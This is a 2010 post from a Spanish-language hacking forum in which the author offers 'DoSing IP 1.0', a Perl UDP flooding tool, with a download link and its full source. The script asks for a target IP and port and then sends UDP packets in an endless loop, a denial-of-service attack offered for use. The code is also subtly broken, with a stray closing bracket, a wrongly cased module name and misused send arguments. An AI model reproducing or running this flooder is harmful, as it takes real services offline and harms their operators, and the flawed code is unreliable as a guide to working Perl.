Underc0de - Hacking y seguridad informática

Programación Scripting => Perl => Mensaje iniciado por: SkillmaX en Julio 04, 2010, 10:14:31 am

Título: DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]
Publicado por: SkillmaX en Julio 04, 2010, 10:14:31 am
Buenas, repasé un poco el tema del perl que hace muchiiisiimo que no lo tocaba, me dio
por reelerme el asunto de los socks, recordé las cosas y pude codearme esta herramienta en perl.

Caracteristicas: (http://Caracteristicas:)


+ Envio de 30000 socks
+ Mayor rapidéz en el envio
+ UDP


Descarga de el archivo compilado:


http://shup.com/Shup/376121/Doss.pl (http://shup.com/Shup/376121/Doss.pl)

Source utilizado por si alguien quiere modificarlo:

Código: Perl
  1. #!/usr/bin/perl
  2. =====================================================
  3.             DDoS en perl
  4.          Creado por SkillmaX
  5.          www.indetectables.net
  6.          www.hackingteam.org
  7.           www.ash-labs.org
  8.           www.level-23.org
  9.    
  10. =====================================================
  11. );
  12.  
  13. use io::socket;
  14.  
  15. print "Introduzca la IP: ";
  16. chop ($host = <stdin>);
  17. print "Introduzca el puerto: ";
  18. chop ($port = <stdin>);
  19.  
  20. {
  21. $sock = IO::Socket::INET->new (
  22. PeerAddr => $host,
  23. PeerPort => $port,
  24. Proto => 'udp') || die "$! Ha introducido algun dato incorrecto, vuelva a intentarlo";
  25. }
  26. packets:
  27. while (1) {
  28. $size = rand() * 30000 * 300000;
  29. print ("$host:$port Conexión enviada: $size\n");
  30. send($sock, 0, $size);
  31. }